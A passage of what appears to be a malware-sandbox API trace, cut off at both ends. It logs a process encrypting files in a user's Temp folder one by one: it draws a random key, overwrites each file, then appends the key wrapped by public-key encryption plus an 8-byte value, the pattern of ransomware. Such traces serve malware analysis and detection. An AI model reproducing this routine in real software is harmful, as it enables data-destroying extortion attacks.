lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.754] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.754] CloseHandle (hObject=0x1c74) returned 1 [0200.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\sBfGMevpiW1Ia2M.csv", dwFileAttributes=0x80) returned 1 [0200.755] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\sBfGMevpiW1Ia2M.csv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\sbfgmevpiw1ia2m.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.756] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12787) returned 1 [0200.756] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x31f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x31f3, lpOverlapped=0x0) returned 1 [0200.756] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-12787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.756] WriteFile (in: hFile=0x1c74, lpBuffer=0x30db248*, nNumberOfBytesToWrite=0x31f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x31f3, lpOverlapped=0x0) returned 1 [0200.757] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x31f3 [0200.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.757] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.757] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.757] CloseHandle (hObject=0x1c74) returned 1 [0200.758] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.758] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0200.758] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\Rj6ok5slir3id.rtf", dwFileAttributes=0x80) returned 1 [0200.759] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\Rj6ok5slir3id.rtf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rj6ok5slir3id.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.759] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=41148) returned 1 [0200.759] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xa0bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0bc, lpOverlapped=0x0) returned 1 [0200.760] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-41148, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.760] WriteFile (in: hFile=0x1c74, lpBuffer=0x30e2110*, nNumberOfBytesToWrite=0xa0bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2110*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0bc, lpOverlapped=0x0) returned 1 [0200.760] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0bc [0200.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.760] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.760] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.760] CloseHandle (hObject=0x1c74) returned 1 [0200.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0200.762] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\pwy76EnqL.bmp", dwFileAttributes=0x80) returned 1 [0200.762] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\pwy76EnqL.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\pwy76enql.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.762] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=29717) returned 1 [0200.762] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x7415, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x7415, lpOverlapped=0x0) returned 1 [0200.763] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-29717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.763] WriteFile (in: hFile=0x1c74, lpBuffer=0x30df468*, nNumberOfBytesToWrite=0x7415, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7415, lpOverlapped=0x0) returned 1 [0200.763] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7415 [0200.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.764] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.764] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.764] CloseHandle (hObject=0x1c74) returned 1 [0200.766] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0200.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\pLfPZ.mp4", dwFileAttributes=0x80) returned 1 [0200.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\pLfPZ.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\plfpz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.767] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=91917) returned 1 [0200.767] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x1670d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x1670d, lpOverlapped=0x0) returned 1 [0200.768] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-91917, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.768] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1670d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1670d, lpOverlapped=0x0) returned 1 [0200.769] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1670d [0200.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.769] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.769] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.769] CloseHandle (hObject=0x1c74) returned 1 [0200.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\PEqOH3etekI.ots", dwFileAttributes=0x80) returned 1 [0200.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\PEqOH3etekI.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\peqoh3eteki.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.771] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=25425) returned 1 [0200.771] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x6351, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x6351, lpOverlapped=0x0) returned 1 [0200.772] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-25425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.772] WriteFile (in: hFile=0x1c74, lpBuffer=0x30de3a8*, nNumberOfBytesToWrite=0x6351, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de3a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6351, lpOverlapped=0x0) returned 1 [0200.772] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6351 [0200.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.773] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.773] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.773] CloseHandle (hObject=0x1c74) returned 1 [0200.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.774] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NpTBi9qG-kJuCWiRk.mp4", dwFileAttributes=0x80) returned 1 [0200.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NpTBi9qG-kJuCWiRk.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\nptbi9qg-kjucwirk.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.775] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=24404) returned 1 [0200.775] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x5f54, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x5f54, lpOverlapped=0x0) returned 1 [0200.775] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-24404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.775] WriteFile (in: hFile=0x1c74, lpBuffer=0x30ddfa8*, nNumberOfBytesToWrite=0x5f54, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddfa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5f54, lpOverlapped=0x0) returned 1 [0200.776] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5f54 [0200.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.776] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.776] CloseHandle (hObject=0x1c74) returned 1 [0200.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NkN_1EW4ONt RpSB.mp3", dwFileAttributes=0x80) returned 1 [0200.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NkN_1EW4ONt RpSB.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\nkn_1ew4ont rpsb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.778] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21416) returned 1 [0200.778] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x53a8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x53a8, lpOverlapped=0x0) returned 1 [0200.779] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-21416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.779] WriteFile (in: hFile=0x1c74, lpBuffer=0x30dd3f8*, nNumberOfBytesToWrite=0x53a8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd3f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53a8, lpOverlapped=0x0) returned 1 [0200.779] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53a8 [0200.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.779] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.779] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.779] CloseHandle (hObject=0x1c74) returned 1 [0200.781] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.781] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.781] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NkfWl6aOC_.docx", dwFileAttributes=0x80) returned 1 [0200.781] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\NkfWl6aOC_.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\nkfwl6aoc_.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.781] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=64791) returned 1 [0200.781] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xfd17, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xfd17, lpOverlapped=0x0) returned 1 [0200.782] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-64791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.782] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xfd17, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfd17, lpOverlapped=0x0) returned 1 [0200.783] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfd17 [0200.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.783] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.783] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.783] CloseHandle (hObject=0x1c74) returned 1 [0200.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0200.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\nkcZYT338bczy82dC1gb.rtf", dwFileAttributes=0x80) returned 1 [0200.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\nkcZYT338bczy82dC1gb.rtf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\nkczyt338bczy82dc1gb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.785] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63523) returned 1 [0200.785] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xf823, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xf823, lpOverlapped=0x0) returned 1 [0200.786] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-63523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.786] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xf823, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf823, lpOverlapped=0x0) returned 1 [0200.786] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf823 [0200.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.786] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.787] WriteFile (in: hFile=0x1c74, 